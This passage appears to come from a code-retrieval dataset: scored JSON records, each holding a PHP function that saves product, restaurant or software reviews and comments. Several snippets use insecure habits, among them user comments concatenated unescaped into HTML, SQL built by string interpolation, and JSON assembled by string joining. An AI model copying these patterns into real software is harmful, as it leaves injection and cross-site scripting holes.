array();\n $queryParams = array();\n $signParams = $this->populateSignParams();\n $metaHeaders = $this->populateMetaHeaderParams();\n $headerParams = array_merge($signParams, $metaHeaders);\n $body = null;\n $body = '{\"app42\":{\"review\":{\"userId\":\"' . $userID . '\",\"itemId\":\"' . $itemID . '\",\"comment\":\"' . $reviewComment . '\",\"rating\":\"' . $reviewRating . '\"}}}';\n\n $signParams['body'] = $body;\n $signature = urlencode($objUtil->sign($signParams)); //die();\n $headerParams['signature'] = $signature;\n $contentType = $this->content_type;\n $accept = $this->accept;\n $baseURL = $this->url;\n $baseURL = $baseURL;\n $response = RestClient::post($baseURL, $params, null, null, $contentType, $accept, $body, $headerParams);\n $reviewResponseObj = new ReviewResponseBuilder();\n $reviewObj = $reviewResponseObj->buildResponse($response->getResponse());\n } catch (App42Exception $e) {\n throw $e;\n } catch (Exception $e) {\n throw new App42Exception($e);\n }\n return $reviewObj;\n }", "title": "" }, { "docid": "090aa90b4533b7062066feb211374d42", "score": "0.5571193", "text": "function createReview($classID, $instructorID, $reviewText, $starRating){\n $reviewID = $this->gen_uuid();\n $timeStamp = time();\n\n $stmt = $this->con->prepare(\"INSERT INTO reviews (reviewID, instructorID, classID, reviewText, starRating, timeStamp) VALUES (?, ?, ?, ?, ?, ?)\");\n $stmt->bind_param(\"ssssds\", $reviewID, $instructorID, $classID, $reviewText, $starRating, $timeStamp);\n if($stmt->execute())\n return true;\n return false;\n }", "title": "" }, { "docid": "82ee71be1593fdc1c3c1d3dfb4d67a56", "score": "0.5550308", "text": "public static function newReview() {\r\n\t\t$review = null;\r\n\t\tif ($_SERVER[\"REQUEST_METHOD\"] == \"POST\") {\r\n\t\t\t$review = new Review($_POST);\r\n\t\t\t$review = ReviewsDB::addReview($review);\r\n\t\t}\r\n\t\tif (is_null($review) || $review->getErrorCount() != 0) {\r\n\t\t\t$_SESSION['review'] = $review;\r\n\t\t\tReviewView::showNew();\r\n\t\t} else {\r\n\t\t\tHomeView::show();\t\r\n\t\t\theader('Location: /'.$_SESSION['base']);\r\n\t\t}\t\t\r\n\t}", "title": "" }, { "docid": "24b4e0433c861647cfd7825ede018adf", "score": "0.5499754", "text": "function appthemes_set_user_review( $recipient_id, $comment_id, $rating, $meta = array() ) {\n\treturn APP_Review_Factory::set_user_review( $recipient_id, $comment_id, $rating, $meta );\n}", "title": "" }, { "docid": "bd947023bb308e110ed5335330c697ef", "score": "0.5459005", "text": "function appthemes_set_review( $comment_id, $rating, $meta = array() ) {\n\treturn APP_Review_Factory::set_post_review( $comment_id, $rating, $meta );\n}", "title": "" }, { "docid": "935a1b764e74da2f44caa6c7d42404df", "score": "0.54440176", "text": "public function newComment(){\n $new=new commentEloquent;\n $new->Comment=$this->Comment;\n $new->userID=$this->userID;\n $new->bookID=$this->bookID;\n $new->rate=$this->rate;\n $new->save();\n}", "title": "" }, { "docid": "6b495d8f748d3a77b44e2c5e43a63bf0", "score": "0.54436696", "text": "public function add_review(Request $request) {\n $this -> validate($request, [\n 'title' => 'required|max:50', 'content' => 'required|max:255',\n 'rating' => array('required','regex:/^[1-5]$/')]);\n $id = $request -> resto_id;\n Resto::find($id) -> reviews() -> create([\n 'user_id' => $request -> user() -> id,\n 'title' => $request -> title, \n 'content' => $request -> content,\n 'rating' => $request -> rating, \n ]); \n return redirect(\"resto/view/$id\");\n }", "title": "" }, { "docid": "4a3a30a6d31b25f049e72c4596487864", "score": "0.54431474", "text": "public function run()\n {\n //\n $review=new Review;\n $review->user_id=1;\n $review->certificate_id=1;\n $review->value=1;\n $review->review=\"User 1 Review User 1 ReviewUser 1 ReviewUser 1 ReviewUser 1 ReviewUser 1 ReviewUser 1 ReviewUser 1 ReviewUser 1 ReviewUser 1 ReviewUser 1 ReviewUser 1 ReviewUser 1 ReviewUser 1 ReviewUser 1 ReviewUser 1 ReviewUser 1 ReviewUser 1 ReviewUser 1 ReviewUser 1 ReviewUser 1 Review\";\n $review->save();\n\n $review=new Review;\n $review->user_id=2;\n $review->certificate_id=2;\n $review->value=2;\n $review->review=\"User 2 Review User 2 Review User 2 Review User 2 Review User 2 Review User 2 Review User 2 Review User 2 Review User 2 Review User 2 Review User 2 Review User 2 Review User 2 Review User 2 Review User 2 Review User 2 Review User 2 Review User 2 Review User 2 Review User 2 Review\";\n $review->save();\n\n $review=new Review;\n $review->user_id=3;\n $review->certificate_id=2;\n $review->value=2;\n $review->review=\"User 3 Review User 3 Review User 3 Review User 3 Review User 3 Review User 3 Review User 3 Review User 3 Review User 3 Review User 3 Review User 3 Review User 3 Review User 3 Review User 3 Review User 3 Review User 3 Review User 3 Review User 3 Review User 3 Review User 3 Review\";\n $review->save();\n }", "title": "" }, { "docid": "622c876f9b4db39f7d3fd52cf38382a4", "score": "0.54083323", "text": "public function create(Comment &$comment)\n {\n $data = $comment->exportData();\n $endpoint = 'comments.json';\n $response = $this->request(\n $endpoint, 'POST', array(\n 'comment' => $data\n )\n );\n $comment->setData($response['comment']);\n }", "title": "" }, { "docid": "39f1194a1c041c7beff505a76c1de8a7", "score": "0.53663015", "text": "public function store(Request $request)\n {\n Comment::create([\n 'comment'=>$request->comment,\n 'prod_id'=>$request->prod_id,\n 'user_id'=>$request->user_id\n ]);\n $user = session()->get('user');\n $comments = Comment::where('prod_id',$request->prod_id)->orderBy('created_at','desc')->get();\n $output = \"\";\n foreach($comments as $comment){\n if($comment->user_id == $user['user_id']){\n $output.='<div class=\"review_item col-md-11\" style=\"margin-bottom: 15px;\">\n <div class=\"media\">\n <div class=\"media-body pl-4 pt-3 pr-3\">\n <h4>'.$comment->user->name.'</h4>\n <small style=\"font-size:11px;\">'.$comment->created_at->format('Y-m-d').'</small>\n \t\n </div>\n </div>\n <p class=\"pl-4 mt-1\">'.$comment->comment.'</p>\n </div>\n <div class=\"col-md-1\">\n <a class=\"btn btn-default text-light reply_btn\" onclick=\"delete_comment('.$comment->id.')\" id=\"delete_comment\" style=\"background-color: #2fdab8;\n border-color: #2fdab8;\"><i class=\"fa fa-trash text-light\"></i></a>\n </div>\n <hr>';\n }else{\t\t\t\t\t\n $output.='<div class=\"review_item col-md-11\" style=\"margin-bottom: 15px;\">\n <div class=\"media\">\n <div class=\"media-body pl-4 pt-3 pr-3\">\n <h4>'.$comment->user->name.'</h4>\n <h5>'.$comment->created_at->format('Y-m-d').'</h5>\n </div>\n </div>\n <p class=\"pl-4 mt-1\">'.$comment->comment.'</p>\n </div>\n <hr>';\n }\t\t\n }\n return $output;\n }", "title": "" }, { "docid": "fec43a5211754eb62f85936be016ad87", "score": "0.5348505", "text": "public function __construct(Review $review)\n {\n $this->review = $review;\n }", "title": "" }, { "docid": "a0bb84b27bef934c524934a8b554c150", "score": "0.5334244", "text": "public function createReview(Request $request)\n {\n $request->validate([\n 'software' => 'required',\n 'vendor' => 'required',\n 'title' => 'required',\n 'software_score' => 'required',\n 'easy_use_score' => 'required',\n 'implementation_score' => 'required',\n 'technical_score' => 'required',\n 'update_score' => 'required',\n 'policy' => 'required',\n ],[], [\n 'title' => 'Titolo della tua recensione',\n 'easy_use_score' => 'Facilita di utilizzo',\n 'implementation_score' => 'Tempi di implementazione',\n 'technical_score' => 'Servizi tecnici',\n 'update_score' => 'Miglioramenti ottenuti',\n 'policy' => 'Invia la tua recensione',\n ]);\n\n try {\n $review = new Review;\n $review->user_id = $this->auth->id;\n $review->software_id = $request->software;\n $review->vendor_id = $request->vendor;\n $review->software_score = $request->software_score;\n $review->title = $request->title;\n $review->description = $request->description;\n $review->easy_use_score = $request->easy_use_score;\n $review->implementation_score = $request->implementation_score;\n $review->technical_score = $request->technical_score;\n $review->update_score = $request->update_score;\n $review->save();\n\n $users = User::where('user_type',2)->get();\n $this->auth->notify(new CreateReveiw($review));\n Notification::send($users, new CreateReveiw($review));\n\n $request->session()->flash('success', 'Thank you for your review, you will receive an email when the your review will be published.');\n return redirect('reviews/show');\n }catch(\\Exception $e) {\n $request->session()->flash('error', 'Sorry! your review not Success.');\n return redirect()->back();\n }\n }", "title": "" }, { "docid": "70c66766717c102a6f2a8fc85a2bd3a7", "score": "0.5280785", "text": "public function makeReview($reviewFields = [])\n {\n /** @var ReviewRepository $reviewRepo */\n $reviewRepo = App::make(ReviewRepository::class);\n $theme = $this->fakeReviewData($reviewFields);\n return $reviewRepo->create($theme);\n }", "title": "" }, { "docid": "a6d37cc664f152fe08ffe67e7266802b", "score": "0.52721643", "text": "public function setReviews()\n {\n // Localise stuff\n $con = $this->con;\n $accId = $this->id;\n\n // Get the review\n $stmt = $con->prepare(\"SELECT post_id FROM rposts WHERE post_parent_id = '$accId' AND post_type = \" . Review::TYPE . \" ORDER BY post_likes_no DESC\");\n try\n {\n if(!$stmt->execute())\n {\n throw new Exception(\"Database execution failed\", 1);\n }\n\n // Initialise as empty array\n $reviews = array();\n\n // Loop through review ids, creating a new review object\n $stmt->bindColumn(1, $reviewId);\n while($stmt->fetch())\n {\n $params['id'] = $reviewId;\n $review = new Review($con, 'get', $params);\n // Skip if we have errors\n if($review->getError())\n {\n continue;\n }\n array_push($reviews, $review);\n }\n\n // Set the instance var\n $this->reviews = $reviews;\n }\n catch (Exception $e)\n {\n $this->errorMsg .= $e->getMessage();\n }\n }", "title": "" }, { "docid": "6da7e5579ea12673d10800bb6b750a88", "score": "0.5268827", "text": "public function add_review_comment($user_id, $text, $target_review_id)\n\t{\n\t\tdate_default_timezone_set('Europe/Helsinki');\n\t\t\n\t\t// INSERT: 'column name' => value\n\t\t$data = array(\n\t\t\t'PostDate' => date('Y-m-d H:m:s'),\n\t\t\t'user_id' => $user_id,\n\t\t\t'Text' => $text\n\t\t);\n\t\t// Insert into comments.\n\t\t// Returns TRUE on success, FALSE on failure\n\t\t$success = $this->db->insert('comments', $data);\n\t\t\n\t\tif ($success)\n\t\t{\n\t\t\t// INSERT: 'column name' => value\n\t\t\t// $this->db->insert_id() returns the ID of the last insert statement.\n\t\t\t$data = array(\n\t\t\t\t'CommentID' => $this->db->insert_id(),\n\t\t\t\t'ReviewID' => $target_review_id\n\t\t\t);\n\t\t\t\n\t\t\t// Link review to product.\n\t\t\t// Return TRUE on success, FALSE on failure\n\t\t\treturn $this->db->insert('reviewComments', $data);\n\t\t}\n\t\treturn FALSE;\n\t}", "title": "" }, { "docid": "1fcde7ed3b3e7fe3566ed150c93f8080", "score": "0.52633494", "text": "public function create()\n {\n $postData = $this->request->request->all();\n $review = $this->reviewRepo->map($postData, $this->user);\n try {\n $this->reviewRepo->insert($review);\n } catch (\\Exception $e){\n $this->response->setContent(json_encode(array('message' => 'Invalid request. Set all the required parameters.')));\n $this->response->setStatusCode(Status::NOT_ACCEPTABLE);\n return $this->response;\n }\n return $this->_generateResponse($review->toArray(), Status::CREATED);\n }", "title": "" }, { "docid": "cca9116c7ddfb8171b2e0fd09103072c", "score": "0.52473295", "text": "public function run()\n {\n DB::table('reviews')->insert(\n [\n [\n 'user_id' => 4,\n 'receiver_id' => 21,\n 'job_id' => 3,\n 'feedback' => 'Donec placerat, massa eu tincidunt volutpat.',\n 'rating' => 'a:4:{i:0;a:2:{s:6:\"rating\";i:5;s:6:\"reason\";i:1;}i:1;a:2:{s:6:\"rating\";i:5;s:6:\"reason\";i:2;}i:2;a:2:{s:6:\"rating\";i:5;s:6:\"reason\";i:3;}i:3;a:2:{s:6:\"rating\";i:5;s:6:\"reason\";i:4;}}',\n 'avg_rating' => 5,\n 'created_at' => Carbon::now()->format('Y-m-d H:i:s'),\n 'updated_at' => Carbon::now()->format('Y-m-d H:i:s'),\n 'project_type' => 'job',\n 'service_id' => null,\n ],\n [\n 'user_id' => 4,\n 'receiver_id' => 22,\n 'job_id' => 1,\n 'feedback' => 'Donec placerat, massa eu tincidunt volutpat.',\n 'rating' => 'a:4:{i:0;a:2:{s:6:\"rating\";i:5;s:6:\"reason\";i:1;}i:1;a:2:{s:6:\"rating\";i:5;s:6:\"reason\";i:2;}i:2;a:2:{s:6:\"rating\";i:5;s:6:\"reason\";i:3;}i:3;a:2:{s:6:\"rating\";i:5;s:6:\"reason\";i:4;}}',\n 'avg_rating' => 4,\n 'created_at' => Carbon::now()->format('Y-m-d H:i:s'),\n 'updated_at' => Carbon::now()->format('Y-m-d H:i:s'),\n 'project_type' => 'job',\n 'service_id' => null,\n ],\n [\n 'user_id' => 4,\n 'receiver_id' => 23,\n 'job_id' => 27,\n 'feedback' => 'Donec placerat, massa eu tincidunt volutpat.',\n 'rating' => 'a:4:{i:0;a:2:{s:6:\"rating\";i:5;s:6:\"reason\";i:1;}i:1;a:2:{s:6:\"rating\";i:5;s:6:\"reason\";i:2;}i:2;a:2:{s:6:\"rating\";i:5;s:6:\"reason\";i:3;}i:3;a:2:{s:6:\"rating\";i:5;s:6:\"reason\";i:4;}}',\n 'avg_rating' => 3,\n 'created_at' => Carbon::now()->format('Y-m-d H:i:s'),\n 'updated_at' => Carbon::now()->format('Y-m-d H:i:s'),\n 'project_type' => 'job',\n 'service_id' => null,\n ],\n [\n 'user_id' => 4,\n 'receiver_id' => 20,\n 'job_id' => 15,\n 'feedback' => 'Donec placerat, massa eu tincidunt volutpat.',\n 'rating' => 'a:4:{i:0;a:2:{s:6:\"rating\";i:5;s:6:\"reason\";i:1;}i:1;a:2:{s:6:\"rating\";i:5;s:6:\"reason\";i:2;}i:2;a:2:{s:6:\"rating\";i:5;s:6:\"reason\";i:3;}i:3;a:2:{s:6:\"rating\";i:5;s:6:\"reason\";i:4;}}',\n 'avg_rating' => 4,\n 'created_at' => Carbon::now()->format('Y-m-d H:i:s'),\n 'updated_at' => Carbon::now()->format('Y-m-d H:i:s'),\n 'project_type' => 'job',\n 'service_id' => null,\n ],\n \n ]\n );\n }", "title": "" }, { "docid": "8c814c3e7b5f6be73c632fd3008f2b49", "score": "0.52123195", "text": "function agregarReview($idAlbum, $idUsuario, $review){\n\t\t$data = array(\n\t\t\t$this->nombreCamposBD['id_album'] => $idAlbum,\n\t\t\t$this->nombreCamposBD['id_usuario'] => $idUsuario,\n\t\t\t$this->nombreCamposBD['review'] => $review\n\t\t); \n\t\t$this->db->insert('review', $data);\n\t}", "title": "" }, { "docid": "6b5811ad579c69baf85f1b708a8bbcdc", "score": "0.5206896", "text": "public static function StoreComment($user_id,$product_id,$comment)\n {\n $result=Comments::where('user_id',$user_id)->where('commentable_id',$product_id)->where('Comment','==',null)->first();\n if($result)\n { \n $result->Comment=$comment;\n $result->state=0;\n $result->save();\n }\n else\n {\n $newcomment=new Comments();\n $newcomment->user_id=$user_id;\n $newcomment->commentable_id=$product_id;\n $newcomment->commentable_type='App\\Model\\Product';\n $newcomment->comment=$comment;\n $newcomment->state=0;\n $newcomment->save();\n }\n \n }", "title": "" }, { "docid": "479ead588dbcc5cc26689e03113365be", "score": "0.51993936", "text": "public function add_review($user_id, $product_id, $rating, $review, $pros, $cons)\n\t{\n\t\tdate_default_timezone_set('Europe/Helsinki');\n\t\t$data = array(\n\t\t\t'ReviewDate' => date('Y-m-d H:m:s'),\n\t\t\t'ProductID' => $product_id,\n\t\t\t'user_id' => $user_id,\n\t\t\t'Text' => $review,\n\t\t\t'Pros' => $pros,\n\t\t\t'Cons' => $cons,\n\t\t\t'Rating' => $rating\n\t\t);\n\t\t// Return TRUE on success, FALSE on failure\n\t\treturn $this->db->insert('reviews', $data);\n\t}", "title": "" }, { "docid": "daeb76c0dfef654904c726032864b5c7", "score": "0.517321", "text": "public function createComment();", "title": "" }, { "docid": "624fc3caa6c7c22a8d050cd11830099f", "score": "0.51706153", "text": "function review_product($conn, $user_id, $product_id, $comment)\n{\n $user_id = intval(strip_tags(mysqli_real_escape_string($conn, $user_id)));\n $product_id = intval(strip_tags(mysqli_real_escape_string($conn, $product_id)));\n $comment = strip_tags(mysqli_real_escape_string($conn, $comment));\n\n // review product\n $sql = \"INSERT INTO reviews (user_id, product_id, comment) VALUES ('$user_id', '$product_id', '$comment')\";\n mysqli_query($conn, $sql) or die('Query failed. ' . mysqli_error($conn));\n\n $_SESSION['success'] = 'thank you for your feedback';\n}", "title": "" }, { "docid": "b7a6022a0745e3314021ad61df9df81e", "score": "0.51661897", "text": "public function create(array $data, $user_id);", "title": "" }, { "docid": "8fcb6babde20baf01beee8060a4fc97c", "score": "0.51659316", "text": "public function create()\n {\n $user = $this->userRepository->pluck('name', 'id');\n $restaurant = $this->restaurantRepository->pluck('name', 'id');\n\n $hasCustomField = in_array($this->driverReviewRepository->model(), setting('custom_field_models', []));\n if ($hasCustomField) {\n $customFields = $this->customFieldRepository->findByField('custom_field_model', $this->driverReviewRepository->model());\n $html = generateCustomField($customFields);\n }\n return view('restaurant_reviews.create')->with(\"customFields\", isset($html) ? $html : false)->with(\"user\", $user)->with(\"restaurant\", $restaurant);\n }", "title": "" }, { "docid": "c884bb0e36c559ab259e443895e71653", "score": "0.51507205", "text": "public function review(string $comment, float $nota) //rajouter user $usr//\r\n {\r\n $this->comment = $comment;\r\n $this->nota = $nota;\r\n\r\n }", "title": "" }, { "docid": "374eb5f19955bf2d4f6689423fde1480", "score": "0.5100282", "text": "public function create(Request $request)\n {\n if (Auth::check()) {\n $user = Auth::user();\n $address = Address::firstOrNew([\n 'premise' => $request->address['premise'],\n 'floor' => $request->address['floor'],\n 'line_one' => strtolower($request->address['line_one']),\n 'city' => strtolower($request->address['city']),\n 'postal_code' => strtolower($request->address['postal_code']),\n 'country_code' => strtolower($request->address['country_code']),\n ]);\n $address->save();\n\n $isReviewed = Review::where([\n 'user_id' => $user->id,\n 'address_id' => $address->id\n ])->exists();\n\n if ($isReviewed) {\n abort(400, 'already done');\n }\n\n $review = Review::create([\n 'title' => $request->review['title'],\n 'summary' => $request->review[\"summary\"],\n 'address_id' => $address->id,\n 'user_id' => $user->id\n ]);\n $review->save();\n\n $rating = Rating::create([\n \"landlord\" => $request->rating[\"landlord\"],\n \"premise\" => $request->rating[\"premise\"],\n \"area\" => $request->rating[\"area\"],\n \"transport\" => $request->rating[\"transport\"],\n \"noise\" => $request->rating[\"noise\"],\n \"overall\" => ($request->rating[\"landlord\"] + $request->rating[\"premise\"] + $request->rating[\"area\"] + $request->rating[\"transport\"] + $request->rating[\"noise\"]) / 5,\n 'review_id' => $review->id\n ]);\n $rating->save();\n }\n }", "title": "" }, { "docid": "0345f247a3050d8b4d052ec25c52bb29", "score": "0.5098857", "text": "public function __construct(UserServiceRating $review)\n {\n $this->review = $review;\n }", "title": "" }, { "docid": "aa024e8327554328303ff467dd3b4483", "score": "0.50891834", "text": "public function addReview_post(){\n if(!$this->check_service_auth()){\n $this->response($this->token_error_msg(), SERVER_ERROR); //authentication failed\n }\n $current_user_id = $this->authData->id;\n \n $this->form_validation->set_rules('rating', 'rating', 'trim|required|numeric');\n $this->form_validation->set_rules('review_description', 'Feedback', 'trim|required|min_length[2]|max_length[200]');\n $this->form_validation->set_rules('review_for', 'Review', 'required', array('required'=>'Please select user to review for'));\n \n if($this->form_validation->run() == FALSE){\n $response = array('status' => FAIL, 'message' => strip_tags(validation_errors()));\n $this->response($response);\n }\n else{\n $set = array('review_for', 'rating', 'review_description');\n foreach ($set as $key => $val) {\n $post= $this->post($val);\n if(!empty($post))\n $insert_data[$val] = $post;\n }\n $insert_data['review_by'] = $current_user_id;\n $insert_data['created_on'] = datetime();\n }\n \n $review_id = $this->common_model->insertData(REVIEWS, $insert_data); //insert new post data\n if($review_id){\n $review_for = $insert_data['review_for'];\n $review_data = $this->common_model->get_user_reviews($review_for, 1, $offset=0, $check_status=true); //get last inserted review data\n $user_info = $this->common_model->getsingle(USERS, array('id'=>$review_for), 'id, deviceToken');\n if(!empty($user_info)){\n //prepare notification payload\n $registrationIds[] = $user_info->deviceToken; $title = \"Reviewed your profile\";\n $body_send = $this->authData->fullName.' posted a review'; //body to be sent with current notification\n $body_save = '[UNAME] posted a review'; //body to be saved in DB\n $notif_type = 'user_review';\n\n $notif_msg = $this->send_push_notification($registrationIds, $title, $body_send, $review_for, $notif_type);\n\n if($notif_msg){\n $notif_msg['body'] = $body_save; //replace body text with placeholder text\n //save notification\n $insertdata = array('notification_by'=>$current_user_id, 'notification_for'=>$review_for, 'notification_message'=>json_encode($notif_msg), 'notification_type'=>$notif_type, 'reference_id'=>$notif_msg['reference_id'] , 'created_on'=>datetime());\n $this->notification_model->save_notification(NOTIFICATIONS, $insertdata);\n }\n }\n \n $response = array('status'=>SUCCESS,'message'=>ResponseMessages::getStatusCodeMessage(125), 'reviewDetail'=>$review_data);\n }\n else{\n $response = array('status'=>FAIL,'message'=>ResponseMessages::getStatusCodeMessage(118)); //fail- something went wrong\n }\n \n $this->response($response);\n }", "title": "" }, { "docid": "38774fbd8394988b7157a9d18fab48f3", "score": "0.5077985", "text": "public function store(Request $request)\n {\n try {\n $auth = User::where('remember_token',\"LIKE\",\"%\".$request->token)->first();\n $auth->id;\n } catch (\\Exception $e) {\n return response()->json(['success'=>false,'data'=>\"{}\",'message'=>\"User Not Found\".$e->getMessage()],500);\n }\n\n try {\n $order = Order::whereId($request->order_id)->first();\n $order->portofolio_id;\n } catch (\\Exception $e) {\n return response()->json(['success'=>false,'data'=>\"{}\",'message'=>\"User Not Found\".$e->getMessage()],500);\n }\n\n\n try {\n $review = Review::create([\n \"user_id\"=>$auth->id,\n \"portofolio_id\"=>$order->portofolio_id,\n \"order_id\"=>$request->order_id,\n \"comment\"=>$request->comment,\n \"star\"=>$request->star\n ]);\n } catch (\\Exception $e) {\n return response()->json(['success'=>false,'data'=>\"{}\",'message'=>\"User Not Found\".$e->getMessage()],500);\n }\n\n return response()->json(['success'=>true,'data'=>['review'=>$review],'message'=>'Success'],200);\n }", "title": "" }, { "docid": "f4157d4d047fe33fb36962c2ec03c86d", "score": "0.5064961", "text": "public function storeReview(Request $request, $id) {\n $review = Review::find($id);\n\n $comment = new Comment();\n $comment->user_id = $this->user->id;\n\n $comment->content = strip_tags($request->content);\n $review->comments()->save($comment);\n\n return Redirect::back();\n }", "title": "" }, { "docid": "0c8e4a4ee2811adc84a54ae574ed04ce", "score": "0.50533605", "text": "public static function makingcomment()\n {\n global $json_api;\n\n $Q = $json_api->query;\n try {\n $comment = new AppComment($Q->object_id);\n $comment->add_new_comment(\n $Q->object_id,\n $Q->userid,\n $Q->comment,\n $Q->name\n );\n\n api_handler::outSuccess();\n } catch (Exception $e) {\n api_handler::outFail($e->getCode(), $e->getMessage());\n }\n }", "title": "" }, { "docid": "537eccefc7a0072d553160f3d25f36c6", "score": "0.5052921", "text": "public function createNewCustomerFromPostArray($array)\n {\n $customer = \\tabs\\api\\core\\Customer::factory('', '');\n $this->_setPersonProperties($customer, $array);\n return $customer;\n }", "title": "" }, { "docid": "834bd6764edad20bfaa7ea3e6a69564d", "score": "0.50504845", "text": "public function fakeReview($reviewFields = [])\n {\n return new Review($this->fakeReviewData($reviewFields));\n }", "title": "" }, { "docid": "a48850158e14ae1a6d41a212d123e33a", "score": "0.50300395", "text": "public function run()\n {\n $review = new Review();\n $review->userid = 1;\n $review->restaurantid = 1;\n $review->description = \"Enak sih\";\n $review->rating = 3;\n $review->save();\n\n $review1 = new Review();\n $review1->userid = 3;\n $review1->restaurantid = 1;\n $review1->description = \"Enak banget\";\n $review1->rating = 4;\n $review1->save();\n\n $review2 = new Review();\n $review2->userid = 1;\n $review2->restaurantid = 2;\n $review2->description = \"Enak sangatt\";\n $review2->rating = 5;\n $review2->save();\n\n $review3 = new Review();\n $review3->userid = 1;\n $review3->restaurantid = 3;\n $review3->description = \"Suka sih sama suasana restorannya\";\n $review3->rating = 3;\n $review3->save();\n\n $review4 = new Review();\n $review4->userid = 3;\n $review4->restaurantid = 3;\n $review4->description = \"Jelek tempatnya :(\";\n $review4->rating = 1;\n $review4->save();\n }", "title": "" }, { "docid": "14678e7889b23dc127a1978922600553", "score": "0.50239277", "text": "public function addComment($request)\n {\n $user = $this->me;\n $this->validate($request, [\n 'body' => 'required',\n ]);\n $mainPlace = ($request->place == \"file\") ? \"class_files\" : $request->place;\n $comment = new \\App\\Models\\comment;\n $comment->status = $request->status;\n $comment->place = $mainPlace;\n $comment->post_id = $request->post_id;\n $comment->body = $request->body;\n $comment->user_id = $user->id;\n $comment->save();\n $place = \"\\\\App\\\\Models\\\\\" . $mainPlace;\n $comment = \\App\\Models\\comment::where('comment.id', $comment->id)\n ->join('users as user', 'comment.user_id', '=', 'user.id')\n ->select('comment.*', 'user.id as userid', 'user.name as name', 'user.last_name as last_name', 'user.avatar as avatar')->first();\n $type = [\"classpost\" => 6, \"class_files\" => 8, \"homework\" => 10, \"exams\" => 12, \"post\" => 2];\n switch ($mainPlace) {\n case \"file\":\n case \"classpost\":\n case \"class_files\":\n case \"homework\":\n case \"exams\":\n $classObj = $place::select(\"virtualclass.name\", \"virtualclass.id\")\n ->join(\"virtualclass\", \"virtualclass.id\", \"=\", $mainPlace . \".\" . (($mainPlace == 'classpost' || $mainPlace == 'class_files') ? 'class_id' : 'virtualclass_id'))\n ->where($mainPlace . \".id\", $request->post_id)\n ->first();\n break;\n case \"post\":\n $classObj = $place::where(\"id\", $request->post_id)\n ->first();\n break;\n }\n $notificationParams = [\n 'class_name' => $classObj->name,\n 'class_id' => $classObj->id,\n 'user_id' => $user->id,\n 'post_id' => $request->post_id,\n 'user_name' => $user->name . \" \" . $user->mid_name . \" \" . $user->last_name,\n 'icon' => $user->avatar,\n $mainPlace . '_id' => $classObj->id,\n ];\n $typeId = (isset($type[$mainPlace])) ? $type[$mainPlace] : 2;\n \\App\\library\\notifications\\Notifications::getInstance()->notifyUsers($typeId, $notificationParams);\n return compact('comment');\n }", "title": "" }, { "docid": "6af61dba04781738db0d40f829b16c3f", "score": "0.5019213", "text": "private function insertTwoCommentReplies($comment)\n {\n $this->faker = Faker::create();\n\n for ($i = 0; $i < 2; $i++) {\n DB::table('comments')->insert([\n 'user_id' => User::all()->random()->id,\n 'post_id' => $comment->post_id,\n 'comment' => $this->faker->sentences(3, true),\n 'parent_id' => $comment->id,\n 'created_at' => now(),\n 'updated_at' => now(),\n ]);\n }\n }", "title": "" }, { "docid": "a3595a2bf224842424dde2803f53aff3", "score": "0.49990675", "text": "public function store(Request $request)\n\t{\n\n\t\t$review =\\Auth::user()->reviews()->create([\n\t\t\t'comment'=>$request->input('comment'),\n\t\t\t'rating'=>$request->input('star'),\n\t\t\t'application_id'=>$request->input('application_id')\n\t\t\t]);\n\t\t//$id =$request->input('application_id');\n\t\t//$app = Application::find($id)->update([\n\t\t//\t'rating_cache'=>'',\n\t//\t\t'rating_count'=>''\n\t\t//\t]);\n\n\n\t\treturn redirect('user/novan');\n\t}", "title": "" }, { "docid": "7df12006b0905ffd73e47a771922f440", "score": "0.4998411", "text": "function __construct(array $data)\n {\n if (isset($data)) {\n $this->reviewId = $data['review_id'];\n $this->productId = $data['product_id'];\n $this->productType = $data['product_type'];\n $this->comment = $data['comment'];\n $this->stars = $data['stars'];\n $this->email = $data['email'];\n $this->name = $data['name'];\n }\n }", "title": "" }, { "docid": "79fb46ede8e326bf0389d0a0187c73cd", "score": "0.49820232", "text": "function mts_review_get_review() {\n\t// Security.\n\tcheck_ajax_referer( 'wp-review-security', 'nonce' );\n\n\t$post_id = intval( $_POST['post_id'] );\n\t$user_id = is_user_logged_in() ? get_current_user_id() : 0;\n\t$review = round( abs( filter_input( INPUT_POST, 'review' ) ), 2 );\n\n\t$review_text = $review;\n\n\t$uip = wp_review_get_user_ip();\n\n\tif ( ! function_exists( 'wp_review_comment_duplicate_trigger' ) ) {\n\t\t/**\n\t\t * Shows comment duplicate message.\n\t\t */\n\t\tfunction wp_review_comment_duplicate_trigger() {\n\t\t\techo 'MTS_REVIEW_DUP_ERROR';\n\t\t\texit;\n\t\t}\n\t}\n\tadd_action( 'comment_duplicate_trigger', 'wp_review_comment_duplicate_trigger' );\n\n\tif (\n\t\t$review > 0 &&\n\t\t! wp_review_has_reviewed( $post_id, $user_id, $uip, WP_REVIEW_COMMENT_TYPE_VISITOR ) &&\n\t\t( is_user_logged_in() || ! wp_review_option( 'registered_only' ) )\n\t) {\n\t\t$insert = wp_insert_comment(\n\t\t\tarray(\n\t\t\t\t'user_id' => $user_id,\n\t\t\t\t'comment_type' => WP_REVIEW_COMMENT_TYPE_VISITOR,\n\t\t\t\t'comment_post_ID' => $post_id,\n\t\t\t\t'comment_parent' => 0,\n\t\t\t\t'comment_author_IP' => $uip,\n\t\t\t\t// translators: rating text.\n\t\t\t\t'comment_content' => sprintf( __( 'Visitor Rating: %s', 'wp-review' ), $review_text ),\n\t\t\t\t'comment_agent' => isset( $_SERVER['HTTP_USER_AGENT'] ) ? $_SERVER['HTTP_USER_AGENT'] : '',\n\t\t\t\t'comment_date' => current_time( 'mysql' ),\n\t\t\t\t'comment_date_gmt' => current_time( 'mysql', 1 ),\n\t\t\t\t'comment_approved' => 1,\n\t\t\t)\n\t\t);\n\n\t\tif ( $insert ) {\n\t\t\tif ( update_comment_meta( $insert, WP_REVIEW_VISITOR_RATING_METAKEY, $review ) ) {\n\t\t\t\t$post_reviews = mts_get_post_reviews( $post_id, true );\n\n\t\t\t\techo $post_reviews['rating'] . '|' . $post_reviews['count'];\n\t\t\t\texit;\n\t\t\t} else {\n\t\t\t\twp_delete_comment( $insert );\n\t\t\t}\n\t\t}\n\t}\n\n\techo 'MTS_REVIEW_DB_ERROR';\n\texit;\n}", "title": "" }, { "docid": "355cfad93e16c4ed35e6b920bbce3c4b", "score": "0.49737594", "text": "public function generate() {\n\t\t$post = get_post( $this->context->id );\n\t\t$comment_count = get_comment_count( $this->context->id );\n\n\t\t$data = array(\n\t\t\t'@type' => 'Review',\n\t\t\t'@id' => $this->context->canonical . '#product-review',\n\t\t\t'isPartOf' => array( '@id' => $this->context->canonical . 